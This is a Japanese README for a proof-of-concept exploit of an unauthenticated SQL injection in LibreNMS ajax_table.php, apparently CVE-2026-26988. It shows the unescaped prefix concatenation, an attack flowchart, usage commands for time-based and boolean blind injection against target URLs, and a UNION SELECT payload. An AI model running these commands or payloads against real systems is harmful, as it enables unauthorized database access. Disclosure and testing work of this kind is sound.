
LibreNMSのajax_table.phpにおける未認証SQLインジェクションの概念実証エクスプロイト。認可されたセキュリティテストのための時間ベースおよびブールベースのブラインドインジェクション手法を実証します。
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:Nsearch_type=ipv6 のとき、address パラメータは / でアドレスとプレフィックスに分割されます。
プレフィックスはエスケープ処理なしでSQLクエリに直接連結されます:
$sql .= " AND ipv6_prefixlen = '$prefix'";
プレフィックス部分にシングルクォート(')を含めると文字列リテラルから抜け出せます → 任意のSQLインジェクションが可能になります。
flowchart TD
A[Attacker] -->|1. HTTP POST to /ajax_table.php| B[LibreNMS Web Server]
B -->|2. id=address-search & search_type=ipv6| C[Parse address parameter]
C -->|3. Split on '/' → $address / $prefix| D[Build vulnerable SQL]
D -->|4. Concatenate: ipv6_prefixlen = '$prefix'| E[MySQL / MariaDB]
E -->|5. Execute injected query| F[Return results / error / delay]
F -->|6. Attacker observes response / timing| A
subgraph "Injection Point"
D
end
style D fill:#ff4d4d,stroke:#333,stroke-width:2px,color:#fff
requests ライブラリ(pip install requests)python3 exploit.py http://target/librenms --test
python3 exploit.py http://192.168.1.50/librenms --time
→ 応答に5〜6秒以上かかる場合 → 脆弱性あり
python3 exploit.py http://target/librenms --boolean
python3 exploit.py http://target/librenms --test --payload "64' UNION SELECT database(),user(),version() -- "
exploit.py .............. メインのPoCスクリプト(必要に応じて cve-2026-26988-poc.py からリネーム)README.md ............... このファイル15429580baba... → PR #18777この概念実証は、教育目的および許可されたセキュリティテスト目的のみで提供されています。
所有者からの明示的な書面による許可なしに、このコードをいかなるシステムやネットワークに対しても使用しないでください。
無断使用は、米国の Computer Fraud and Abuse Act(CFAA)や、お住まいの国の同等の法律を含む(ただしこれらに限定されない)法律に違反する可能性があります。
自己責任で使用してください。
著者: Mohammed Idrees Banyamer
Instagram: @banyamer_security
日付: 2026年2月20日